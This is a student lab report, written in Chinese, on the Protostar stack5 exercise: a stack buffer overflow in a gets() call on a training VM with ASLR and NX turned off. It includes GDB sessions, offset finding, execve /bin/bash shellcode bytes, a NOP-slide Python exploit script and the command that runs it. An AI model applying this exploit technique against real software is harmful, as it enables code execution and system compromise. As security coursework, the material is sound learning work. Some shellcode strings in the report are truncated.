

CS3312 Lab Report Stack5

Osamu Takenaka 520030990026

源码分析

x86汇编代码(由objdump得到):

```
080483c4 <main>:
080483c4:    55                push    %ebp
080483c5:    89 e5             mov     %esp,%ebp
080483c7:    83 e4 f0          and     $0xffffffff0,%esp
080483ca:    83 ec 50          sub     $0x50,%esp
080483cd:    8d 44 24 10       lea     0x10(%esp),%eax
080483d1:    89 04 24          mov     %eax,(%esp)
080483d4:    e8 0f ff ff ff   call    80482e8 <gets@plt>
080483d9:    c9               leave
080483da:    c3               ret
```

C语言源代码:

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buffer[64];

    gets(buffer);
}
```

stack5的源代码非常简单, 只有一个gets函数。

由于没有win函数, 所以我们这里需要做的是, 将shellcode注入到buffer中, 然后通过覆盖返回地址, 使得程序跳转到buffer中执行shellcode。

变量以及函数位置确定

buffer:

通过这句C代码:

gets(buffer);

可以定位到汇编中对应的代码为:

```
080483cd:    8d 44 24 10       lea     0x10(%esp),%eax
080483d1:    89 04 24          mov     %eax,(%esp)
080483d4:    e8 0f ff ff ff   call    80482e8 <gets@plt>
```

可以看出, buffer 数组的开始地址是 0x10(%esp)

GDB调试

我们测试输入如下字符串:

exp_104.txt:

AAAA BBBB CCCC DDDDD EEEEE FFFFF GGGG HHHH IIII JJJJ KKKK LLLL MMMM NNNN OOOO PPPP QQQQ RRRR SSSS TTTT UUUU VVVV WWWW XXXX YYYY ZZZZ

- 接下来我们需要通过gdb, 来寻找 callee's return address 所在的地址和 buffer 间的偏移量, 来构造buffer overflow的payload

```
Dump of assembler code for function main:
0x080483c4 <+0>: push    %ebp
0x080483c5 <+1>: mov     %esp,%ebp
0x080483c7 <+3>: and     $0xffffffff0,%esp
0x080483ca <+6>: sub     $0x50,%esp
0x080483cd <+9>: lea     0x10(%esp),%eax
0x080483d1 <+13>: mov     %eax,(%esp)
0x080483d4 <+16>: call    0x080482e8 <gets@plt>
0x080483d9 <+21>: leave
0x080483da <+22>: ret
End of assembler dump.
(gdb) []
```

添加断点在ret,

```
(gdb) b *0x080483da
Breakpoint 1 at 0x080483da: file stack5/stack5.c, line 11.
(gdb) r < exp_104.txt
Starting program: /opt/protostar/bin/stack5 < exp_104.txt

Breakpoint 1, 0x080483da in main (argc=<error reading variable: 11>
11 stack5/stack5.c: No such file or directory.
(gdb) disas
Dump of assembler code for function main:
0x080483c4 <+0>: push    %ebp
0x080483c5 <+1>: mov     %esp,%ebp
0x080483c7 <+3>: and     $0xffffffff0,%esp
0x080483ca <+6>: sub     $0x50,%esp
0x080483cd <+9>: lea     0x10(%esp),%eax
0x080483d1 <+13>: mov     %eax,(%esp)
0x080483d4 <+16>: call    0x080482e8 <gets@plt>
0x080483d9 <+21>: leave
0x080483da <+22>: ret
=> 0x080483da <+22>: ret
End of assembler dump.
(gdb) []
```

执行完 `leave` 后, `%esp` 的值是 `0xbffffcac`, 即为main函数的函数栈帧的栈顶地址。

该地址存储的值为 `callee's return address`, 我们攻击的目标是需要将其修改为shellcode的起始地址。

```
(gdb) print $esp
$1 = (void *) 0xbffffcac
(gdb) []
```

打印 `Mem[0xbffffcac]` 的值, 即为 `callee's return address` 的值。

```
(gdb) x/24xw $esp
0xbffffcac: 0x54545454 0x55555555 0x56565656 0x57575757
0xbffffcb0: 0x58585858 0x59595959 0x5a5a5a5a 0xb7ffef00
0xbffffccc: 0x00048232 0x00000001 0xbffffd10 0xb7ff6626
0xbffffcdc: 0xb7ffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffffcec: 0x00000000 0xbffffd28 0x0f6c5a3c 0x252d4c2c
0xbffffcfc: 0x00000000 0x00000000 0x00000000 0x00000001
```

`Mem[0xbffffcac] = 0x54545454 = 'TTTT'`

我们可以在其之后的地址开始注入shellcode, 即 `0xbffffcb0` 处。`ret_addr = 0xbffffcb0`

所以, 我们可以构造如下的payload:

`input = 'AAAABBBBCCCCDDDEEEEEFFFFGGGGHHHHIIJJJJKKKKLLLLMMMMNNNN0000PPPPQQQRRRRSSSS' + ret_addr + shellcode`

- 用 `INT3` 指令来代替shellcode

我们可以在shellcode中插入`INT3`指令, 来测试shellcode的执行情况。

```
shellcode = '\xcc' * 30
ret_addr = '\xb0\xfc\xff\xbf' #ret_addr = `0xbffffcb0`
```

这样, 当shellcode执行到`INT3`指令时, 会触发一个中断, 我们可以通过gdb来查看shellcode的执行情况。

`input = 'AAAABBBBCCCCDDDEEEEEFFFFGGGGHHHHIIJJJJKKKKLLLLMMMMNNNN0000PPPPQQQRRRRSSSS' + ret_addr + shellcode`

```
(gdb) r <stack5_input
Starting program: /opt/protostar/bin/stack5 <stack5_input
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffffcb1 in ?? ()
(gdb) []
```

显示 `SIGTRAP`, 即`INT3`指令被触发, 说明`INT3`指令被成功执行。

- 构造完整的攻击脚本

shellcode代码(/bin/bash):

```
08048054 <.text>:
08048054: 6a 0b          push $0xb
08048056: 58            pop %eax
08048057: 99           cltd
08048058: 52          push %edx
08048059: 66 68 2d 70   pushw $0x702d
0804805d: 89 e1        mov %esp,%ecx
0804805f: 52          push %edx
08048060: 6a 68       push $0x68
08048062: 68 2f 62 61 73 push $0x7361622f
08048067: 68 2f 62 69 6e push $0x6e69622f
0804806c: 89 e3       mov %esp,%ebx
0804806e: 52          push %edx
0804806f: 51          push %ecx
08048070: 53          push %ebx
08048071: 89 e1       mov %esp,%ecx
08048073: cd 80       int $0x80
```

python攻击脚本:

```
buffer = b'AAAABBBBCCCCDDDEEEEEFFFFGGGGHHHHIIJJJJKKKKLLLLMMMMNNNN0000PPPPQQQRRRRSSSS'
ret_addr = b'\xb0\xd6\xff\xff' #ret_addr = `0xffffd6b0`
shellcode =
b'''\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1'
input = buffer + ret_addr + shellcode
```

```
(gdb) r <stack5_input
Starting program: /opt/protostar/bin/stack5 <stack5_input
Executing new program: /bin/bash
Program exited normally.
(gdb) []
```

在gdb中我们可以看到已经成功执行了/bin/bash

- 非gdb模式的测试: 在gdb中测试成功后, 我们在非gdb模式下测试, 却发现提示 `Illegal instruction` 错误。

```
root@protostar:/opt/protostar/bin# ./stack5 <stack5_input
Illegal instruction
root@protostar:/opt/protostar/bin# []
```

该系统已经确认关闭了ASLR和NX保护, 我们推测一定是`ret_addr`不对, 导致shellcode没有被正确执行。

经过调研相关资料, 我们发现在gdb动态调试下, 获取的栈的地址与直接运行程序时不一致: <https://www.cnblogs.com/ythjoker/p/9161716.html>

正常程序运行时, 会将环境变量字符串数组和命令行参数字符串数组存放在栈顶, 而程序使用的局部变量等数据则位于这些字符串数组之后。环境变量字符串数组记录了诸如当前用户名、终端类型、搜索路径等环境信息。程序直接运行时, 程序进程继承的是运行其的 shell 的环境变量, 而程序通过 gdb 运行时, 程序进程继承的是 gdb 的环境变量, 这两者存在不同, 从而会造成位于栈上的局部变量的地址发生改变。用户可在 gdb 中运行 `show environment` 命令获得环境变量参数。

- 解决以及调试方案

更高级的做法是，我们可以通过 `jmp $esp` 来跳转到buffer中执行shellcode，但是我们这里也很难找到 `jmp $esp` 的地址来作为ret_addr，所以我们只能根据经验猜测正确地址和 `0xffffd6b0` 的偏移量，同时配合在附近内存的 `buffer` 中插入 `INT3` 指令来调试寻找正确的ret_addr

```
buffer = '\xcc' * 76 #代替字母部分
ret_addr = '\xb0\xfc\xff\xbf' # ret_addr = 0xbffffcb0 需要不断调整
shellcode =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\
input = payload + ret_addr + shellcode
print input
```

实验发现，返回地址为原来的0xbffffcb0时，SIGTRAP被触发，说明此时地址在buffer的范围里。

我们不断地增加返回地址，直到 `ret_addr = 0xbffffcdc` 时，illegal instruction出现，说明此时地址已经超出了buffer的范围，而是在将存着的 `ret_addr = 0xbffffcdc` 当作指令执行了。

那么，由于shellcode是在ret_addr之后的地址开始注入的，所以我们可以确定， `0xbffffce0` 是正确的shellcode的起始地址，和gdb情况下 `0xbffffcb0` 的偏移量为 `0x30`。

我们最后执行的正确的栈布局如下：

地址	该地址的内容 (大小4Bytes)	备注
...	...	后续shellcode
0xbffffce0	0x6a 0x0b 0x58 0x99	shellcode = push \$0xb, pop %eax, cltd
0xbffffcdc	0xe0 0xfc 0xff 0xbf	callee's return address = 0xbffffce0
0xbffffcd8	buffer[73:76] = 0xcc 0xcc 0xcc 0xcc	4条INT3指令
...		
0xbffffc8f	buffer[0:4] = 0xcc 0xcc 0xcc 0xcc	4条INT3指令

后来我们了解到了nop_slide技术，可以通过nop指令来填充shellcode的前面，这样就不需要精确的shellcode的起始地址，只需要在buffer的范围内即可。

攻击脚本内容

script_stack5.py:

```
buffer = b'\xcc' * 76

# 0xbffffce0 = 0xbffffcb0 + 0x30
ret_addr = '\xe0\xfc\xff\xbf'

# 防止因为环境变量的不同发生偏移，我们加入nop_slide提高容错率
nop_slide = '\x90' * 64

#!/bin/bash
shellcode =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\
# 08048054 <.text>:
# 8048054: 6a 0b          push    $0xb
# 8048056: 58             pop     %eax
# 8048057: 99            cltd
# 8048058: 52            push    %edx
# 8048059: 66 68 2d 70    pushw   $0x702d
# 804805d: 89 e1          mov     %esp,%ecx
# 804805f: 52            push    %edx
# 8048060: 6a 68          push    $0x68
# 8048062: 68 2f 62 61 73 push    $0x7361622f
# 8048067: 68 2f 62 69 6e push    $0x6e69622f
# 804806c: 89 e3          mov     %esp,%ebx
# 804806e: 52            push    %edx
# 804806f: 51            push    %ecx
# 8048070: 53            push    %ebx
# 8048071: 89 e1          mov     %esp,%ecx
# 8048073: cd 80          int     $0x80

input = buffer + ret_addr + nop_slide + shellcode

print input
```

在终端中运行：

```
(python ./script_stack5.py ; cat) | ./stack5
```

结果（非GDB环境）



攻击成功